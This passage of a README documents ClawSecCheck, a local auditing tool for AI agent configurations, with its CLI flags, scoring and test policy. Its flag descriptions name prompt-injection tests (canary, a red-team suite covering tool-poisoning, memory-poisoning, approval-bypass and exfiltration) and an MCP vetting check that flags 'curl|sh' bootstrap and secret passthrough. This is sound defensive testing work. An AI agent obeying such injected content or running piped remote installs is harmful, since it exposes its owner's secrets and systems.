audit.py --sarif results.sarif      # write SARIF 2.1.0 locally (for GitHub Code Scanning upload step)\npython3 audit.py --fail-under 70            # exit 1 if score \u003c 70 (use in CI pipelines)\npython3 audit.py --exit-code                # exit 1 if any unsuppressed FAIL finding\n```\n\nThe SARIF file is written to the path you choose — ClawSecCheck never uploads it anywhere.\n`--fail-under` and `--exit-code` do not change the default exit code (0) when omitted,\npreserving backward compatibility.\n\n---\n\n## 🧰 More tools\n\n**Quick CLI reference** (every flag is local \u0026 read-only against your config):\n\n| Need | Command |\n|---|---|\n| Human report | `clawseccheck` |\n| JSON / SARIF output | `clawseccheck --json` · `clawseccheck --sarif results.sarif` |\n| Paste-ready fixes | `clawseccheck --fix` |\n| Highest-risk chains | `clawseccheck --risk-paths` |\n| Vet a skill before install | `clawseccheck --vet ./skill` |\n| Vet connected MCP servers | `clawseccheck --vet-mcp` |\n| Active injection self-test | `clawseccheck --canary` · `clawseccheck --redteam` · `clawseccheck --dryrun` |\n| Monitor drift / view timeline | `clawseccheck --monitor` · `clawseccheck --watch-log` |\n| Attestation template / feed it back | `clawseccheck --ask` · `clawseccheck --attest attest.json` |\n| Shareable card / SVG badge | `clawseccheck --card` · `clawseccheck --badge badge.svg` |\n| Trend \u0026 percentile | `clawseccheck --trend` · `clawseccheck --percentile` |\n| Accept a finding (show suppressed) | edit `.clawseccheckignore` · `clawseccheck --show-suppressed` |\n| Skip native audit / host posture | `clawseccheck --no-native` · `clawseccheck --no-host` |\n| Disable local history / age notice | `clawseccheck --no-history` · `clawseccheck --no-update-notice` |\n| CI gate | `clawseccheck --fail-under 70` · `clawseccheck --exit-code` |\n| Verify the engine itself | `clawseccheck --verify-self` |\n\n```bash\npython3 audit.py --next                    # print the \"What you can do next\" guidance block only\npython3 audit.py --vet ./some-skill        # vet a skill (dir or SKILL.md) BEFORE installing it\npython3 audit.py --vet ./some-skill --json # same, machine-readable (verdict + findings); --sarif PATH for CI\npython3 audit.py --vet-mcp                 # vet connected MCP servers for supply-chain risk BEFORE trusting them\npython3 audit.py --canary                   # active prompt-injection self-test (battle-tested)\npython3 audit.py --redteam                   # a multi-scenario adversarial payload suite (incl. tool-poisoning, MCP-response injection, memory-poisoning, multi-agent, approval-bypass, dirty-to-exfil)\npython3 audit.py --dryrun                     # runtime behavioral test (fake secret + fake tools; sources: email, web, MCP response, memory, subagent)\npython3 audit.py --badge badge.svg          # write a shareable SVG grade badge\npython3 audit.py --html report.html         # standalone HTML report (private — owner view)\npython3 audit.py --verify-self               # SHA-256 of ClawSecCheck's own source (anti-tamper)\npython3 audit.py --prompts                   # a copy-paste \"ask your agent to fix it\" per finding\npython3 audit.py --trend                     # print local score trend (stored in ~/.clawseccheck/history.jsonl)\npython3 audit.py --percentile                # show where your score sits vs. an offline reference profile\npython3 audit.py --history ~/.clawseccheck/history.jsonl  # custom history file path (default shown)\npython3 audit.py --verbose                   # INFO-level log to stderr (secrets redacted)\npython3 audit.py --debug                     # DEBUG-level log to stderr (secrets redacted)\npython3 audit.py --log audit.log            # also write log to a local file\n```\n\n- **`--next`** prints the \"What you can do next\" guidance block on its own — runs the audit\n  first, then shows only the prioritised next-steps list. Same content as the block appended to\n  the default report; useful if you want to re-check recommendations without re-reading the full\n  report.\n- **`--vet PATH`** runs the B13 malware scan on a skill *before* you install it (point it at a\n  downloaded folder or `SKILL.md`; for a URL, clone it first, then vet the local copy). Verdict:\n  SAFE / SUSPICIOUS / DANGEROUS. Add `--json` for a machine-readable verdict + findings (no score —\n  vetting isn't a scored audit), or `--sarif PATH` to drop a SARIF file for CI / code scanning;\n  exit code is `1` on SUSPICIOUS/DANGEROUS so `--vet … || fail` gates an install pipeline.\n- **`--vet-mcp`** vets every MCP server listed under `mcp.servers.*` for supply-chain risk\n  *before* you trust it. Flags unpinned installs (`npx @latest`, unversioned packages), `curl|sh`\n  bootstrap, plaintext-HTTP remote transports, env-variable secret passthrough, and overly broad\n  OAuth scopes. Verdict per server: SAFE / SUSPICIOUS / DANGEROUS. Local and read-only — no\n  network calls, no writes. Targets the #1 agent supply-chain gap: most tools audit your skills\n  but not the MCP servers wired into your agent.\n- **`--canary`** emits a benign injection hidden in untrusted-looking content; feed it to your\n  agent — if the agent echoes the token, it obeyed an injection (**VULNERABLE**), otherwise\n  **RESISTANT**. This is the live \"battle-tested\" complement to the passive checks.\n- **`--badge PATH`** writes a shields-style SVG (grade + score only) for your README / posts.\n- **`--prompts`** turns every finding into a ready prompt you paste into your agent to fix it.\n- **`--trend`** records the current audit result to a local append-only history file and prints\n  a table of past scores with per-run arrows. History stays on your machine only.\n- **`--percentile`** compares your score against a bundled offline reference profile — no network,\n  no telemetry.\n- **`--verbose` / `--debug` / `--log PATH`** activate structured local logging. Config values\n  that may hold secrets are redacted before being written (practising ClawSecCheck's own B9/B10).\n\n---\n\n## ✅ Baseline (accepting findings)\n\nReviewed a finding and decided it's acceptable? Add it to `~/.openclaw/.clawseccheckignore` —\none entry per line, either a check id (`B14`) or a finding fingerprint (`B14:ab12cd34`, shown\nwith `--show-suppressed`). Suppressed findings drop out of the **score**, the **report**, and\n**monitor** alerts — so re-runs and `--monitor` stop nagging about things you've accepted.\n\n```text\n# ~/.openclaw/.clawseccheckignore\nB14            # accept the egress-surface advisory\nB12:1a2b3c4d   # accept one specific local-model finding\n```\n\n---\n\n## 📊 Scoring\n\nWeighted pass-rate (CRITICAL=10, HIGH=6, MEDIUM=3, LOW=1). **Honesty hard-caps:** any open\nCRITICAL caps the score at 49, any open HIGH at 79 — you can never show an \"A\" with a critical\nhole. Grades: A 90+ · B 80–89 · C 70–79 · D 50–69 · F \u003c50. The shareable card shows **only the\ngrade + score + trifecta ratio — never the findings** (sharing must not hand attackers your map).\n\n---\n\n## 📐 Public API \u0026 stability\n\nAs of **1.0.0**, the following is a **frozen contract**: breaking it requires a **major** version\nbump (SemVer). The freeze was cut after the attestation layer settled, an adversarial review, and\nfour field runs whose every finding was fixed or deliberately documented — with zero hard false\npositives on real configs.\n\n\u003e A planned **2.0.0** will deliberately exercise this rule — batching the accumulated breaking changes (e.g. English-only output, finalized grade semantics, schema tidy) into one major bump. Until then, 1.x stays additive.\n\n**Frozen contract (breaking these → major bump):**\n\n- **CLI flags** and their documented meaning (`--json`, `--sarif`, `--card`, `--monitor`,\n  `--fail-under`, `--exit-code`, …).\n- **`--json` schema:** top-level `score`, `grade`, `capped`, `raw_score`, `trifecta`,\n  `findings[]`, `next_actions[]`; each finding's `id`, `title`, `severity`, `status`, `detail`,\n  `fix`, `framework`, `confidence`, `evidence`.\n- **SARIF 2.1.0 output** shape (rule ids = check ids; `properties.confidence` + `.evidence`).\n- **Public Python API:** `clawseccheck.audit(...) -\u003e (ctx, findings, ScoreResult)` and the\n  `Finding` field names.\n- **Check IDs** (full generated catalog in [`docs/CHECKS.md`](docs/CHECKS.md)): an id, once shipped, keeps its meaning.\n- **Status / confidence vocabularies:** `PASS|WARN|FAIL|UNKNOWN`, `HIGH|MEDIUM|LOW|ATTESTED`.\n- **Scoring bands:** A 90+ · B 80–89 · C 70–79 · D 50–69 · F \u003c50; `UNKNOWN` never scores; advisory\n  checks (`scored=False`) never move the grade.\n\n**Explicitly experimental within 1.x (may change without a major bump, by design):**\n\n- The **attestation layer**: the `clawseccheck-attest/1` self-report schema (note the `/1` — it is\n  explicitly versioned to evolve), the `--ask`/`--attest` flow, the B43 **verb→blast-radius\n  taxonomy**, and B44. The `ATTESTED` confidence tier exists to mark exactly this: a self-report is\n  weaker than a config fact, advisory, and never overrides one. Freezing the newest surface now\n  would over-commit, so it stays flexible under this label until it has had broader real-world use.\n\n---\n\n## ⚖️ Limitations\n\n- **Heuristic local audit, not a formal proof of safety.** ClawSecCheck inspects\n  configuration text and known patterns; it cannot reason about all possible runtime\n  behaviours or formally verify your agent's security properties.\n- **Does not replace runtime red-teaming.** Static configuration analysis is a starting\n  point, not a substitute for adversarial testing against a running agent.\n- **May produce false positives and false negatives.** Evidence-gating keeps noise low,\n  but heuristics can miss novel attack patterns and can misread edge-case configurations.\n- **Read scope is bounded:** config, bootstrap markdown, installed-skill text, OpenClaw log\n  files, agent session logs, host OS path-existence checks, and credential-store path presence\n  — not an exhaustive scan of your filesystem, and credential-store contents are never read.\n- **UNKNOWN is not PASS.** Unreadable files or unparseable configs are reported as\n  UNKNOWN and excluded from the score, never silently marked safe.\n\n---\n\n## 🧪 Tests\n\nA security tool should be heavily tested — so it is. The suite is **140+ test files / 2,400+ tests**, run on **Python 3.9 and 3.12** in CI alongside `ruff`. Tests are **offline and read-only** (no network, nothing written outside the test's temp dir); every check ships a **clean fixture** (no finding) *and* a **bad fixture** (the finding fires) plus explicit `UNKNOWN`-path coverage; and the release bar is **zero false-positive FAILs on real configs**.\n\n```bash\npython3 -m pytest -q       # full suite\nruff check .               # lint\n```\n\nThe test suite and fixtures live in the [GitHub repo](https://github.com/gl0di/clawseccheck) — they are not bundled in the installed skill package.\n\n---\n\n## 📄 License\n\nMIT — see [LICENSE](LICENSE).\n\n## Release protocol (maintainers)\n\nBefore merging a release, follow this checklist:\n\n### 1) Tests before release\n\n- `python3 -m ruff check .`\n- `python3 -m pytest`\n- Run the most relevant test subset for the touched area if the full suite is too large for your CI window.\n\n### 2) Documentation and protocol alignment\n\nUpdate all of the following files (in order):\n\n- `CHANGELOG.md`\n- `README.md`\n- `SECURITY.md`\n- `SECURITY_MODEL.md`\n- `SKILL.md`\n\n### 3) Dependabot — merge open PRs\n\n- `gh pr list --author app/dependabot` — merge all open dependabot PRs before tagging.\n\n### 4) Pre-release review gate\n\n- Re-read the release notes and verify that check IDs, remediation text, and examples match the implemented code/tests.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgl0di%2Fclawseccheck","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fgl0di%2Fclawseccheck","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgl0di%2Fclawseccheck/lists"}